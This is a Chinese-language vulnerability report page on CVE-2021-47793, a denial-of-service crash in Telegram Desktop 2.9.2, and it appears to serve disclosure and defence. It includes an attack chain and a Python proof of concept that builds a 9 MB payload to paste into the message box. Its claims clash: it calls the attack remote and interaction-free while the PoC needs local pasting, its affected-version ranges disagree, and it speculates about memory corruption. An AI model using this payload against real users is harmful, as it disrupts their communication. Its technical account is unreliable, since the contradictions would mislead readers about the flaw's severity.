IPBUF安全漏洞报告
English
CVE-2021-47793 CVSS 7.5 高危

CVE-2021-47793 Telegram Desktop拒绝服务漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47793
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Telegram Desktop

相关标签

拒绝服务缓冲区溢出Telegram Desktop消息解析高危漏洞CVE-2021-47793即时通讯DoS

漏洞概述

CVE-2021-47793是Telegram Desktop 2.9.2版本中存在的一个高危拒绝服务漏洞。该漏洞允许远程攻击者通过发送特制的超大消息负载来导致Telegram桌面应用程序崩溃,从而中断受害者的正常通信服务。漏洞的根本原因在于Telegram Desktop在处理消息输入时缺乏对消息大小的有效限制和验证机制。攻击者可以利用这一漏洞构造一个约900万字节(9MB)的超大消息缓冲区,并将其粘贴到消息输入界面中。当Telegram Desktop尝试解析和渲染该超大消息时,会因为内存分配不当或处理逻辑缺陷而导致应用程序崩溃。此漏洞的利用无需任何认证,也不需要用户进行任何交互,攻击者只需向目标用户发送包含恶意负载的消息即可触发。由于该漏洞影响的是即时通讯软件的可用性,攻击成功后将导致受害者无法正常使用Telegram进行通信,严重影响业务的连续性。

技术细节

该拒绝服务漏洞存在于Telegram Desktop 2.9.2版本的消息处理模块中。当应用程序接收到超大的消息负载时,其内部的消息解析和渲染逻辑未能正确处理边界情况。攻击者构造的9MB消息数据会导致以下问题:首先,Telegram Desktop在尝试将消息内容加载到内存缓冲区时,可能因为一次性分配过大的连续内存空间而导致内存分配失败或触发系统的内存保护机制。其次,在消息的解析和渲染阶段,应用程序可能存在整数溢出或缓冲区边界检查缺失的问题,使得超大的消息数据在处理过程中覆盖相邻内存区域,破坏程序的关键数据结构。最后,当应用程序尝试渲染该超大消息时,可能因为UI组件无法处理超出预期的数据量而导致异常,最终引发崩溃。由于攻击向量为网络(AV:N),攻击者可以通过Telegram的消息传输协议直接向目标用户发送恶意消息,受害者只需查看或接收该消息即可触发漏洞,无需进行任何额外的交互操作。

攻击链分析

STEP 1
步骤1:信息收集
攻击者确认目标用户使用Telegram Desktop 2.9.2或更早版本,并获取目标用户的Telegram ID或用户名
STEP 2
步骤2:构造恶意负载
攻击者生成一个约900万字节(9MB)的超大消息缓冲区,该负载可以是重复的字符序列,用于触发Telegram Desktop的消息解析缺陷
STEP 3
步骤3:发送恶意消息
攻击者通过Telegram消息传输协议向目标用户发送包含恶意负载的消息,无需任何认证或特殊权限
STEP 4
步骤4:触发漏洞
当目标用户的Telegram Desktop接收到该消息时,应用程序尝试解析和渲染超大消息负载,导致内存分配失败或程序异常
STEP 5
步骤5:拒绝服务
由于处理逻辑缺陷,Telegram Desktop应用程序崩溃,受害者失去即时通讯能力,需要重启应用程序才能恢复服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47793 Telegram Desktop DoS PoC Target: Telegram Desktop <= 2.9.2 Description: Generates oversized message payload to trigger DoS """ import struct def generate_oversized_payload(size_bytes=9000000): """ Generate oversized message payload for Telegram Desktop DoS attack Args: size_bytes: Size of the payload in bytes (default: 9MB) Returns: bytes: Oversized message payload """ # Generate payload with repeating pattern to trigger parsing issue pattern = b'A' * 1000 # 1KB pattern payload_size = size_bytes # Create payload by repeating pattern full_chunks = payload_size // 1000 remainder = payload_size % 1000 payload = pattern * full_chunks + b'A' * remainder return payload def create_telegram_message_payload(): """ Create Telegram message payload structure This simulates the message format that Telegram Desktop processes """ oversized_content = generate_oversized_payload(9000000) # Telegram message structure simulation message = { 'message_id': 12345, 'from_id': 999999999, 'chat_id': -1001234567890, 'date': 1640000000, 'text': oversized_content, 'entities': [], 'via_bot': None } return message def exploit(): """ Main exploit function Generate and save the malicious payload """ print("[*] Generating CVE-2021-47793 DoS payload...") print("[*] Target: Telegram Desktop <= 2.9.2") print("[*] Payload size: 9,000,000 bytes (9MB)") payload = generate_oversized_payload(9000000) # Save payload to file for manual use with open('cve_2021_47793_payload.txt', 'wb') as f: f.write(payload) print(f"[+] Payload generated successfully") print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Payload saved to: cve_2021_47793_payload.txt") print("[!] To exploit: Copy the payload content and paste into Telegram Desktop message input") return payload if __name__ == "__main__": exploit()

影响范围

Telegram Desktop < 2.9.2

防御指南

临时缓解措施
作为临时缓解措施,用户可以限制接收来自未知联系人的消息,或在收到可疑的大文件/消息时谨慎处理。建议启用Telegram的隐私设置,限制谁可以向您发送消息。同时,关注Telegram官方安全公告,及时更新应用程序到最新版本。在企业环境中,可以考虑使用网络防火墙规则限制异常的Telegram流量模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表